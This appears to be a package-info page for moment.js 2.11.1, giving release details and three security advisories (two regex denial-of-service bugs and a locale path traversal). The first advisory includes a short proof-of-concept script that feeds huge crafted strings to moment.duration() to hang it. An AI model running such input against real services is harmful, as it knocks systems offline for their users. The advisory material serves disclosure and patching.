Version 2.11.1 Details

Moment.js, a widely used JavaScript library for date and time manipulation and formatting, saw a minor version update from 2.11.0 to 2.11.1 in early January 2016. Both versions share the same core functionality, offering developers robust tools for parsing, validating, manipulating, and displaying dates across various formats and timezones. Key features include flexible date parsing, comprehensive formatting options, and convenient date arithmetic.

Examining the package metadata, a developer might immediately notice that the devDependencies blocks remain largely identical between the two versions. This suggests that the update primarily focused on bug fixes and internal improvements rather than introducing new features or altering the existing API. The development dependencies listed, such as Grunt (for task automation), Karma (for testing), and UglifyJS (for minification), point to a well-maintained project with a strong emphasis on code quality and test coverage.

The most significant difference lies in the release dates. Version 2.11.0 was released on January 2nd, 2016, while version 2.11.1 followed shortly after, on January 9th, 2016. This short gap suggests that version 2.11.1 likely addresses critical bugs or regressions identified in version 2.11.0. Developers using older versions of Moment.js, or those who recently adopted 2.11.0, are advised to upgrade to 2.11.1 to benefit from the fixes and ensure stability. The author and other metadata remain the same, making this a safe and recommended upgrade for existing Moment.js users.

Security Vulnerabilities

Security Details

Comprehensive list of direct or transitive vulnerabilities for version 2.11.1 of the package moment.

All Security Vulnerabilities

All the vulnerabilities related to the version 2.11.1 of the package

Summary:

Regular Expression Denial of Service in moment

Details:

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js

Recommendation

Please update to version 2.11.2 or later.

Details about moment@2.11.1

Summary:

Regular Expression Denial of Service in moment

Details:

Affected versions of moment are vulnerable to a low severity regular expression denial of service when parsing dates as strings.

Recommendation

Update to version 2.19.3 or later.

Details about moment@2.11.1

Summary:

Path Traversal: 'dir/../../filename' in moment.locale

Details:

Impact

This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.

Patches

This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).

Workarounds

Sanitize user-provided locale name before passing it to moment.js.
